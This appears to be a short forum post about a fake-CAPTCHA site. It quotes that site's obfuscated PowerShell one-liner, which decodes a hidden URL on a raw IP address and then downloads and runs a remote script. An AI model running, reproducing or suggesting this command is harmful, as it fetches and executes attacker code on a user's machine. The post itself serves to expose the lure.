For those who want to see it in action:

https://dex-redirect.com/

It gives you the following script:

powershell -NoExit -c “$znn=‘sggk://91.212.166.104/e/2e’;$djq=$znn.ToCharArray()|%{if($_ -cmatch ‘[a-z]’){[char](122 - ([int][char]$_ - 97))}else{$_}};$jgq=($djq -join ‘’);([ScriptBlock]::Create((Invoke-RestMethod $jgq))).Invoke();”

I can’t check what the CAPTCHA prompt says since I’m on mobile, but I’m guessing it asks you to paste it into your console.